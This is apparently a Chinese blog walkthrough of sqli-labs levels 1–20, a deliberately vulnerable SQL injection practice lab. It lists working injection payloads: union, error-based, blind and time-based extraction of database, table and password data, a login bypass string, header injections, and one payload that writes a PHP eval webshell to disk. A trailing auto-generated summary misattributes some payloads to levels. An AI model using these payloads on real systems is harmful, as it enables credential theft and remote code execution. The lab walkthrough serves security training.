sqli-labs 1-20关卡

less 1

“基于单引号的报错字符型注入”
Payload:
1.?id=1’ --+ //闭合前面语句,注释掉后面的‘
2.?id=1’ order by X–+ //判断字段数
3.?id=-1’ union select 1,2,3 --+ //判断回显位置,id为false
4.?id=-1’ union select 1,database(),3 --+ //查询当前数据库名
5.?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where
table_schema=database() --+ //查询当前数据库中所有数据表名
6.?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+ //查询users表中所有字段名
7.?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ and table_schema=database() --+ //因为出现多个字段说明这个表在其它的库中也有出现,加上当前数据库的名称,查看当前数据库中users数据表中的内容
8.?id=-1’ union select 1,group_concat(concat_ws(’:’,username,password)),3 from security.users–+ //查询username、password中的所有数据

知识点:

  1. concat_ws()函数可以将多个字符串连接成一个字符串,并且可以一次性指定分隔,其中分隔符不能为NULL。语法为concat_ws(separator, str1, str2, …)。
  2. group_concat()可以将group by产生的同一个分组中的值连接起来,返回一个字符串结果。语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ‘分隔符’] )。
  3. information_schema 结构用来存储数据库系统信息。
  4. concat_ws(’:’,username,password)将username和password连接成一个字符串并且中间有”:”作为分隔符号将username和password分开。
  5. group_concat(concat_ws(’:’,username,password)),将里面的字符串值打印在一行。
  6. 先用id=true来判断是基于什么类型的注入,再用id=false来得到需要的数据

less 2

“布尔型注入”
Payload:
1.?id=1 and 1=1 ?id=1 and 1=2 //测试是否是数字型注入
2.?id=-1 union select 1,database(),3 //查询数据库
3.?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() //查询当前数据库中的所有表名
4.?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ and table_schema=database() //查询users表中所有字段名
5.?id=-1 union select 1,group_concat(concat_ws(’:’,username,password)),3 from security.users //查询username、password中的所有数据

知识点:
判断注入形式是字符型还是数字型。

less 3

“基于’)的字符型注入”
Payload:
1.?id=1’ //测试
在这里插入图片描述

2.?id=1’) order by 3 --+ //根据报错回显,我们可以看出$id=(‘xxx’),我们用‘)闭合前面语句,并把后面的注释掉
3.?id=-1’ union select 1,2,3 --+ //判断回显位置,id为false
4.?id=-1’ union select 1,database(),3 --+ //查询当前数据库名
5.?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where
table_schema=database() --+ //查询当前数据库中所有数据表名
6.?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ and table_schema=database() --+ //查询users表中所有字段名
7.?id=-1’ union select 1,group_concat(concat_ws(’:’,username,password)),3 from security.users–+ //查询username、password中的所有数据

less 4

“基于’’)的字符型注入”
Payload:
1.?id=1” //测试
2.?id=1”) – + //闭合、注释
同less 3

less 5

“基于‘字符型的错误回显注入”
Payload:
1.?id=1’ --+ //闭合注释
在这里插入图片描述

2.?id=1’ and updatexml(1,concat(0x7e,(select concat(database()),3)–+ //利用报错语句获得数据库名
3.?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3)–+ //获得表名
4.?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from
information_schema.columns where table_name=‘users’),0x7e),3)–+ //查询users表中的所有字段
5.?id=1’ and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from
information_schema.columns where table_name=‘users’),30,60),0x7e),3)–+ //updatexml只能显示32位,获取超出32位后面的数据,用mid函数截取。从第30位开始截取,截取到60位。
6.?id=1’ and updatexml(1,concat(0x7e,(select group_concat(username,’:’,password) from security.users),0x7e),3)–+ //查询username、password字段内容
6.?id=1’ and updatexml(1,concat(0x7e,mid((select group_concat(username,’:’,password)
from security.users),30),0x7e),3)–+ //截取32位后

知识点:

  1. updatexml函数,UPDATEXML (XML_document, XPath_string, new_value);第一个参数和最后一个参数都是string格式,中间参数是Xpath格式的字符串。
  2. updatexml(1,concat(0x7e,(select concat(database()),3) concat()函数知识将其连成一个字符串,不符合Xpath格式的字符串,出现格式错误从而进行报错
  3. concat+updatexml注入的时候,会加上16进制符(eg:0x7e),如果不加可能会导致返回数据不完整。
  4. mid函数,mid(string,start,[length]),其中length参数可以忽略,当其被忽略是则返回从start参数位置到字符串结尾的所有字符eg:payload6

less 6

“基于’’字符型的错误回显注入”
Payload:
1.?id=1” //测试
2.?id=1” --+ //闭合、注释
同less 5

less 7

“文件读写注入”
Payload:
1.?id=1’ //回显异常
2.?id=1’ --+ //回显异常
3.?id=1’)) --+//回显正常,闭合方式为‘))
4.?id=1’)) union select 1,"<?php eval($_POST[cmd]); ?>",3 into outfile “D:\1.php” --+

知识点:
在默认情况下,mysql安装后会自动创建mysql用户和mysql用户组,数据库会创建在/var/lib/mysql目录下,要保证数据导出目录有mysql用户权限。导出的文件用户和用户组组属于mysql。但是我们对目录权限进行修改就可以写入了。

less 8

基于‘字符串的盲注”
Payload:
1.?id=1’ //回显异常
2.?id=1’ --+ //回显异常
3.?id=1’and ascii(substring(database(),1,1))=115–+ //猜测数据库的第一位数是否为s
依次猜出数据库名、表名、字段、数据…

知识点:
1.我们通过调整substring()函数的第二个参数的值来获取库名的完整内容。当某个位置的字符的ascii等于0,说明此处已经没有字母了
2. error_reporting(0); //关闭错误报告

less 9

“基于‘的时间盲注”
Payload:
1.?id=1’ and if(length(database())>3,1,sleep(5)) – + //如果database()的长度大于3为真,则不延迟,如果不为真,则延迟5s。先判断出database()的长度。
在这里插入图片描述

  1. ?id=1’ and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+ //s的ascii码为115,如果第一位为s,则不延迟。substr函数中显示database()中第一位字符并只显示一位字符。
    依次得出数据库名、数据表名、字段名。

知识点:

  1. 延时注入:主要针对页面无变化,无法用布尔真假判断,无法报错的情况下注入
  2. sleep() //延时
  3. if(condition,ture,fales) //条件语句 “1”表示永真
  4. ascii() //转换成ascii
  5. substring(“string”,strart,length)

less 10

“基于”的时间盲注”
Payload:
?id=1” and if(length(database())>3 ,1,sleep(5)) – +
同less 9

less 11

“基于’的POST型注入”
注入语句:
admin’ // 测试
admin’ – + //闭合、注释
知识点:
这里不用密码也可以登陆成功,所以这里是POST形式的单引号字符型注入

登陆框密码万能绕过:
admin’ or ‘1’=’1’ – //sql注入万能密码

less 12

“基于”的POST型注入”
注入语句:
admin” //测试
admin”) – + //闭合、注释
同less 11

less 13

“基于’)的错误回显注入”
注入语句:
admin’) union select updatexml(1,concat(0x7e,(select database())),1) – +
同less 5

less 14

“基于”的错误回显注入”
注入语句:
admin” union select updatexml(1,concat(0x7e,(select database())),1) – +
同less 5

less 15

“基于’的布尔盲入”
注入语句:
uname=’ or (length(database())) = 8 #&passwd=’ or 1=1 #&submit=Submit
uname=’ or (ascii(substr((select database()),1,1))) = 115 #&passwd=’ or 1=1 #&submit=Submit
同less 8

less 16

“基于”的布尔盲注“
注入语句:
uname=” or (length(database())) = 8 #&passwd=’ or 1=1 #&submit=Submit
uname=” or (ascii(substr((select database()),1,1))) = 115 #&passwd=’ or 1=1 #&submit=Submit
同less 15

less 17

“基于’的密码报错注入”
注入语句:
’ and updatexml(1,concat(0x7e,(select database())),1) #

在这里插入图片描述

知识点:
在这里插入图片描述

在对于代码审计的过程中发现check_input()进行过滤,但这里只过滤了uname,并没有过滤passwd。所以我们可以直接通过passwd查数据库名。

less 18

“基于’的“User-Agent:”报头文报错注入”
注入语句:
',1,updatexml(1,concat(0x7e, database(),0x7e),1))#
在这里插入图片描述

知识点:
在这里插入图片描述

通过代码审计发现check_input()对uname和passwd都进行了过滤,这里将user-agent和ip作为记录,没有过滤,所以直接在user-agent进行注入。

less 19

“基于‘的“Referer:”报头文报错注入”
注入语句:
1’ and updatexml(1,concat(0x7e,(select database())),1) and 1='1
在这里插入图片描述

同less 18 将“User-Agent:”改为“Referer:”

less 20

“基于‘的“Cookie:”报头文报错注入”
注入语句:
1’ union select 1,database(),3#
在这里插入图片描述

同less 18

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
sqli-labs是一个SQL注入学习平台,通过完成一系列的关卡来学习和实践SQL注入漏洞的利用方法。根据引用的描述,首先需要在浏览器中打开"http://127.0.0.1/sqli-labs/",访问平台的首页。然后点击"Setup/reset Database"按钮以创建数据库,创建表并填充数据。 完成了上述设置后,可以开始挑战关卡sqli-labs通关1关:根据引用提供的内容,可以在URL中加入"?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1))"来进行注入。这样就能够获取到users表中的密码和用户名的组合。 sqli-labs通关2关:根据引用提供的内容,可以在账户密码后面加入"1',updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))#"来进行注入。这样就能够获取到users表中的用户名和密码的组合。 sqli-labs通关3关:通关3关的方法没有在提供的引用中找到相关信息。 sqli-labs通关4关:根据引用提供的内容,可以在URL中加入"?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1))"来进行注入。这样就能够获取到users表中的密码和用户名的组合。 sqli-labs通关5关:通关5关的方法没有在提供的引用中找到相关信息。 请注意,为了安全起见,在进行实际操作时,请确保仅在合法和授权的环境中进行,并遵守法律和道德规范。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [详细sqli-labs(1-65)通关讲解](https://blog.csdn.net/dreamthe/article/details/123795302)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [Sqli-labs通关全解---关于Sqli-lab--1](https://blog.csdn.net/cyynid/article/details/128629421)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值